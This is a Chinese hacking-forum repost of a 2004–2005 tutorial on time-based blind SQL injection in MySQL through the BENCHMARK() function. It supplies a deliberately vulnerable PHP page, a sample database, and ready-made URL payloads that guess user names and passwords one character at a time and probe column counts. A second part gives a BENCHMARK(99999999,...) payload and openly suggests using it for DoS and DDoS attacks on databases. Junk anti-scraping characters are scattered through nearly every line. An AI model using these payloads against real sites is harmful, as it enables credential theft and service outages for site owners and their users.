找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2567|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
6 U  s' c+ f- P% z$ t本文作者:SuperHei7 [+ z4 h! D' P3 N8 o
文章性质:原创' C) u8 r/ O+ x; z( T1 j9 q
发布日期:2005-01-02
' }7 B) p. V* w. z4 c4 v3 ?% I完成日期:2004-07-09
+ ?! U4 A5 J6 ?第一部
: e* z- ]8 ]) T- H
# E3 D- A0 E1 B$ k) _利用时间推延进行注射---BENCHMARK函数在注射中的利用
) s% ?$ A2 w$ H( k0 c6 o- F" K( _6 U% T8 t6 k
一.前言/思路
: U8 R  P' W- l  t/ i
% H* j2 ^* o5 e7 g4 E: c; D( @* }  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。2 M7 N4 @- S- l3 U; H2 a1 j) {6 [
3 Z  e$ y. f6 j
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。7 M$ i  V0 v# j; D' G
+ c" n' v* D3 n4 Z
二.关于BENCHMARK函数
2 Z* y' V1 t! x4 |) B, C( J3 v- R: E& K1 [4 E
  在MySQL参考手册里可以看到如下描叙: 7 K- _( X0 S5 E7 E+ q6 ]

' o4 P7 C: K: \( t# y0 E/ n4 s; f  w: ?1 `5 j4 Q. j8 k7 I8 ^  g
--------------------------------------------------------------------------------9 m/ j" Y( k+ T  s( u
7 V* k$ @& k- C  i: j) \
BENCHMARK(count,expr)
8 O7 h5 P# H/ {" s7 t+ @/ nBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
  V$ R/ k- o" {! a, Xmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
8 G6 J/ G) i9 ?% c+----------------------------------------------+
+ P* i9 R1 I+ w| BENCHMARK(1000000,encode("hello","goodbye")) | : [- P) v) z1 K+ s2 E
+----------------------------------------------+ ! P3 M+ C# O& {! l: y( x5 F7 ~
| 0 |
. ?. e3 z+ [* |+ h/ Y; f2 B- W+----------------------------------------------+ 7 T" c! a  u) U( ~8 H$ |. s/ k
1 row in set (4.74 sec)
' w1 i2 G# l1 H- H, F! H9 X
+ l! x* Z6 L' r# [/ \报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。9 M4 G* t  v0 c  C7 S9 B4 A
. g; q& X+ L& C7 [6 f. h! m
7 V. u2 w# F5 I4 k9 e! S5 q
--------------------------------------------------------------------------------4 F; ?! W" E% q. d' x" k6 h
2 {4 y, q4 |1 [4 Q
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 9 }6 ]  K# G/ K4 p) a  Y1 q" P% D

& j8 v9 M) G/ g( Nmysql> select md5( 'test' ); + m. D9 h& `+ T5 I0 U
+----------------------------------+
6 z$ i* ]4 A9 j4 C! F7 O| md5( 'test' ) |
, P2 G0 _' O* [4 ^: Y! O$ y+----------------------------------+
4 S" ?( d1 A" M' U5 R7 `| 098f6bcd4621d373cade4e832627b4f6 |
: }) Q; C! L1 W( A8 z0 U/ C+----------------------------------+ $ H3 p! m* |5 S1 U
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec & {2 h$ `; z$ ~$ m6 c0 Y- \) P& B. L, O

/ b- h: k! d* H  V" _7 I* q5 pmysql> select benchmark( 500000, md5( 'test' ) );
4 G5 ~0 d3 M( z6 b4 I& v( T' l% Q+------------------------------------+
/ Y4 B& \9 B# D* z| benchmark( 500000, md5( 'test' ) ) |
" y( I. f; ~; B" S1 g# J+------------------------------------+ # r. _+ Y; n/ p1 C! ]2 T/ r0 h7 l1 |
| 0 |
+ c" n; H7 {) \. a. {! D) e( J+------------------------------------+
' z& L( r: y: S- x) T1 row in set (6.55 sec) 〈------------执行时间为6.55 sec3 Z' W! r% _1 J5 [7 x" v

+ o$ [3 q) @5 e6 B
. x5 F; |6 [% h  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 # O2 r* J- n) K. `# {! _' U0 W1 }

3 o* s. j: f, n# B三.具体例子( b: @) f) Y. w  y
+ o: S8 I6 J# f6 G" W
  首先我们看个简单的php代码:4 Y3 k: |) O  q

1 O' x  q+ G7 G' f' O* D1 N< ?php
. s7 V: A0 u9 @& E4 @& r$servername = "localhost"; & o. Z' B% J* T% A4 x  Z3 H
$dbusername = "root"; / x( w3 Z6 ?" @0 e9 f2 q
$dbpassword = "";
6 v7 l0 S! s$ O" v# D$dbname = "injection"; / \' Q+ _7 H" S1 B# e
" a: f+ Q  w. N7 f* ^
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); & Y( X) J4 o3 M3 d3 j4 j6 ~! @/ {7 w
% K) |! |9 Q$ U( U
$sql = "SELECT * FROM article WHERE articleid=$id"; . X* a  Y- J+ q1 B0 L2 P8 R! L
$result = mysql_db_query($dbname,$sql); 6 @9 o- M% {' R7 x) V5 @' b- z
$row = mysql_fetch_array($result); ' U. z7 \/ e- {& q8 }

1 @. e4 o2 E" W9 sif (!$row)
" ^8 }3 ^  O! P: w{
+ s( P5 d: k9 o: H( r8 Oexit;
8 g  x' v4 I  ~2 V& Y} - K7 j/ @1 ^: g  B/ [% Q7 S  R
?>5 M2 |4 R" m1 P) Q
/ _9 G1 x, H) T6 z  H+ [8 y

9 C; i  x0 K2 z4 c. v: P" Y1 n# Y: ?  数据库injection结构和内容如下:" C- J) E6 x8 |; y

% w5 w3 E. A; }) f  N% Q# 数据库 : `injection`
& x) q3 r) K. j& Z9 M/ }1 `#
0 q( R* O" f; P# g4 \
4 [8 ]' L, ?8 G+ c' I, o6 q# --------------------------------------------------------
: t! \8 v8 a6 ~4 U. e2 c: G  x$ ^4 b3 k1 Z5 V: ]% k
#
. m; M1 g1 p' X# j0 \6 B( n# 表的结构 `article`
+ R3 P( `. d$ k" [: u! M#
' o7 ^6 ?& p% R/ |8 W8 D: Q* \; X
  I5 v: Y" w! d( {CREATE TABLE `article` (
9 Y, I' x% Q1 z* |`articleid` int(11) NOT NULL auto_increment, * T( t3 ^: ?1 O# \2 n. w
`title` varchar(100) NOT NULL default '',
+ i) D9 I$ T0 `' o6 n1 p`content` text NOT NULL,
+ B" `: N$ t. B2 V6 M2 QPRIMARY KEY (`articleid`)
6 h. m+ G0 w( T, ?+ k+ T8 g) TYPE=MyISAM AUTO_INCREMENT=3 ; ! E/ k' T+ f8 Y( S9 `- {
  `" B% Q' Z" u6 I- _- ^  h
# 1 c& y7 o8 Y0 ]
# 导出表中的数据 `article`
6 x6 X0 u9 b) d8 i+ a0 B: |- T5 e# + N6 ?7 J' g- e. m* `2 N# i& q
& g9 h' ?3 s$ u4 R, B" m
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); # n" z# a# D- f  \
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ) W/ x8 U8 b8 @/ W! J
- {9 f5 ?) L3 k6 w( O
# --------------------------------------------------------
! @4 |7 a6 K6 [1 ]2 \" G
  I9 ?8 n' I/ h* I' }3 s7 ~& ^#
3 Y; Z2 R  ~7 ^5 Y# y1 Z# 表的结构 `user`
1 w; ~: M3 C# g& q# o1 O3 m#
" r; \, ~# P% c. c' F, L) \. W
9 Z5 k* c8 v$ ]8 Y; [% z1 GCREATE TABLE `user` ( 9 O. ~  N) d( a" f0 K- D
`userid` int(11) NOT NULL auto_increment, # ~% N$ c/ a, n" l  ?1 Z, J
`username` varchar(20) NOT NULL default '', , v! `7 T0 U0 z4 @
`password` varchar(20) NOT NULL default '', & a# c! }7 Z- ?6 V
PRIMARY KEY (`userid`)
$ H+ G' R' y1 @" w7 e; a3 |6 W. k) TYPE=MyISAM AUTO_INCREMENT=3 ; ) R2 o' J* A2 K, N* l& j) ^

7 B! b8 w9 @) z; S; u# . i- d; |) X3 [1 E5 V2 T: b
# 导出表中的数据 `user` % i* x7 F" d' x) r
#
2 \" J  A/ w" |* K) ?. H! O% x7 T/ K- F
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 9 y) S; w. T: e# B4 ~, H7 w# s. B
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
9 V; t5 X7 F- \( D* l. A% f+ E % x& J4 ]! M3 y( p  G

! w- I* I+ M7 q# F$ [  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:) r5 P/ f: E6 Z' X& ?$ g

6 z! m0 v! Y3 f. [3 M" j- F' \7 Oid=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*1 f- Q% ?9 r; S) C
# v0 z/ F! Z2 m+ v" _* P% k* X

" V- }: ^3 v) Y% Y) {9 e  i  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
/ g" z# ]( N. C( @8 Z4 c, K9 V  x
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*6 D4 S: k& T& K8 L! e( q& N

2 H6 _! J. e& J7 Y
1 k9 \0 t. Z$ |  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 6 p& y; W, J' i3 I8 d# X- B4 i
; a0 N! S% P/ |; w" ~* R, i
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
$ W# M0 d  N* a3 W9 ]
4 e! g1 ^/ \7 W6 n第二部4 Y2 N* P0 w1 T. x
; @0 N7 p2 I+ a7 y
利用BENCHMARK函数进行ddos攻击 # n' f; [2 @9 D* _! ^' U

, B' c' [5 Q6 f2 ^! }; |  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:8 M. R: y: `2 f' b/ O9 H  w

) t" V, Q3 q0 I1 S) B% }6 hhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))! X. J5 F- R3 k9 L! o

$ L3 @' H% e2 y6 d9 q* M4 `
  }; X2 v# P( P/ R小结
, Z3 l6 |; X: a  p9 F" x- h/ d7 I8 w9 L' Y5 j
  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
. ?% o  m/ n4 T. I 7 |% w0 Q3 [/ g2 V
  0 |; w, Z! b& f6 e% k& V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表